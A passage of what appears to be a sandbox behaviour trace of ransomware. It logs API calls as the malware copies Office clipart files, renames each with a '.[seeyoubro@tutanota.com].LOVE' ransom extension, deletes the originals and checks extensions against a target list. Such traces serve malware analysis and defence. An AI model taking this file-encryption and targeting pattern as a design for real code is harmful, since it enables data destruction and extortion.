lpNumberOfBytesWritten=0x2d9fc94*=0x8f0, lpOverlapped=0x0) returned 1 [0219.598] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.598] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.599] SetEndOfFile (hFile=0x380) returned 1 [0219.599] CloseHandle (hObject=0x380) returned 1 [0219.599] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.599] SetEndOfFile (hFile=0x384) returned 1 [0219.600] CloseHandle (hObject=0x384) returned 1 [0219.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0219.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.601] lstrlenW (lpString=".doc") returned 4 [0219.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.601] lstrlenW (lpString=".docx") returned 5 [0219.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.601] lstrlenW (lpString=".pdf") returned 4 [0219.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.601] lstrlenW (lpString=".xls") returned 4 [0219.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.601] lstrlenW (lpString=".xlsx") returned 5 [0219.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.601] lstrlenW (lpString=".ppt") returned 4 [0219.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.601] lstrlenW (lpString=".zip") returned 4 [0219.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.601] lstrlenW (lpString=".rar") returned 4 [0219.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.601] lstrlenW (lpString=".bz2") returned 4 [0219.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.601] lstrlenW (lpString=".7z") returned 3 [0219.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.601] lstrlenW (lpString=".dbf") returned 4 [0219.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.602] lstrlenW (lpString=".1cd") returned 4 [0219.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0219.602] lstrlenW (lpString=".jpg") returned 4 [0219.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.607] GetLastError () returned 0x0 [0219.610] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2e0, lpOverlapped=0x0) returned 1 [0219.774] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2f0, lpOverlapped=0x0) returned 1 [0219.775] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.775] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.775] SetEndOfFile (hFile=0x380) returned 1 [0219.775] CloseHandle (hObject=0x380) returned 1 [0219.775] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.775] SetEndOfFile (hFile=0x384) returned 1 [0219.776] CloseHandle (hObject=0x384) returned 1 [0219.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString=".doc") returned 4 [0219.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString=".docx") returned 5 [0219.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.777] lstrlenW (lpString=".pdf") returned 4 [0219.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString=".xls") returned 4 [0219.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.777] lstrlenW (lpString=".xlsx") returned 5 [0219.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.777] lstrlenW (lpString=".ppt") returned 4 [0219.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString=".zip") returned 4 [0219.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.777] lstrlenW (lpString=".rar") returned 4 [0219.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString=".bz2") returned 4 [0219.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString=".7z") returned 3 [0219.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString=".dbf") returned 4 [0219.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString=".1cd") returned 4 [0219.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0219.777] lstrlenW (lpString=".jpg") returned 4 [0219.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.785] GetLastError () returned 0x0 [0219.785] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x920e, lpOverlapped=0x0) returned 1 [0219.876] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x9210, lpOverlapped=0x0) returned 1 [0219.877] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.877] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.877] SetEndOfFile (hFile=0x358) returned 1 [0219.877] CloseHandle (hObject=0x358) returned 1 [0219.878] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.878] SetEndOfFile (hFile=0x35c) returned 1 [0219.878] CloseHandle (hObject=0x35c) returned 1 [0219.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0219.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.879] lstrlenW (lpString=".doc") returned 4 [0219.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.879] lstrlenW (lpString=".docx") returned 5 [0219.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.879] lstrlenW (lpString=".pdf") returned 4 [0219.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.879] lstrlenW (lpString=".xls") returned 4 [0219.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.879] lstrlenW (lpString=".xlsx") returned 5 [0219.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.879] lstrlenW (lpString=".ppt") returned 4 [0219.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.879] lstrlenW (lpString=".zip") returned 4 [0219.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.880] lstrlenW (lpString=".rar") returned 4 [0219.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.880] lstrlenW (lpString=".bz2") returned 4 [0219.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.880] lstrlenW (lpString=".7z") returned 3 [0219.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.880] lstrlenW (lpString=".dbf") returned 4 [0219.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.880] lstrlenW (lpString=".1cd") returned 4 [0219.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0219.880] lstrlenW (lpString=".jpg") returned 4 [0219.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.881] GetLastError () returned 0x0 [0219.881] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0219.955] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0219.956] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.956] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.956] SetEndOfFile (hFile=0x358) returned 1 [0219.956] CloseHandle (hObject=0x358) returned 1 [0219.956] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.956] SetEndOfFile (hFile=0x35c) returned 1 [0219.957] CloseHandle (hObject=0x35c) returned 1 [0219.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0219.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.957] lstrlenW (lpString=".doc") returned 4 [0219.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString=".docx") returned 5 [0219.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.958] lstrlenW (lpString=".pdf") returned 4 [0219.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString=".xls") returned 4 [0219.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.958] lstrlenW (lpString=".xlsx") returned 5 [0219.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.958] lstrlenW (lpString=".ppt") returned 4 [0219.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.958] lstrlenW (lpString=".zip") returned 4 [0219.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.958] lstrlenW (lpString=".rar") returned 4 [0219.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString=".bz2") returned 4 [0219.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString=".7z") returned 3 [0219.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.958] lstrlenW (lpString=".dbf") returned 4 [0219.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.958] lstrlenW (lpString=".1cd") returned 4 [0219.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0219.958] lstrlenW (lpString=".jpg") returned 4 [0219.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.959] GetLastError () returned 0x0 [0219.959] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x20e8, lpOverlapped=0x0) returned 1 [0220.091] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0220.094] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.094] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.094] SetEndOfFile (hFile=0x358) returned 1 [0220.096] CloseHandle (hObject=0x358) returned 1 [0220.096] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.096] SetEndOfFile (hFile=0x35c) returned 1 [0220.097] CloseHandle (hObject=0x35c) returned 1 [0220.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0220.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString=".doc") returned 4 [0220.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString=".docx") returned 5 [0220.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.098] lstrlenW (lpString=".pdf") returned 4 [0220.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString=".xls") returned 4 [0220.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.098] lstrlenW (lpString=".xlsx") returned 5 [0220.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.098] lstrlenW (lpString=".ppt") returned 4 [0220.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString=".zip") returned 4 [0220.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.098] lstrlenW (lpString=".rar") returned 4 [0220.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString=".bz2") returned 4 [0220.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString=".7z") returned 3 [0220.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString=".dbf") returned 4 [0220.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString=".1cd") returned 4 [0220.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0220.098] lstrlenW (lpString=".jpg") returned 4 [0220.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.101] GetLastError () returned 0x0 [0220.101] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0220.203] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0220.206] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.206] WriteFile (in: hFile=0x358, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.207] SetEndOfFile (hFile=0x358) returned 1 [0220.207] CloseHandle (hObject=0x358) returned 1 [0220.207] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.207] SetEndOfFile (hFile=0x35c) returned 1 [0220.208] CloseHandle (hObject=0x35c) returned 1 [0220.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.228] lstrlenW (lpString=".doc") returned 4 [0220.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.228] lstrlenW (lpString=".docx") returned 5 [0220.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.228] lstrlenW (lpString=".pdf") returned 4 [0220.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.228] lstrlenW (lpString=".xls") returned 4 [0220.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.228] lstrlenW (lpString=".xlsx") returned 5 [0220.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.228] lstrlenW (lpString=".ppt") returned 4 [0220.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.228] lstrlenW (lpString=".zip") returned 4 [0220.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.228] lstrlenW (lpString=".rar") returned 4 [0220.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.229] lstrlenW (lpString=".bz2") returned 4 [0220.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.229] lstrlenW (lpString=".7z") returned 3 [0220.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.229] lstrlenW (lpString=".dbf") returned 4 [0220.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.229] lstrlenW (lpString=".1cd") returned 4 [0220.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0220.229] lstrlenW (lpString=".jpg") returned 4 [0220.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.301] GetLastError () returned 0x0 [0220.301] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x83c, lpOverlapped=0x0) returned 1 [0220.444] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x840, lpOverlapped=0x0) returned 1 [0220.445] ReadFile (in: hFile=0x33c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.445] WriteFile (in: hFile=0x330, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.445] SetEndOfFile (hFile=0x330) returned 1 [0220.447] CloseHandle (hObject=0x330) returned 1 [0220.447] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.447] SetEndOfFile (hFile=0x33c) returned 1 [0220.447] CloseHandle (hObject=0x33c) returned 1 [0220.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 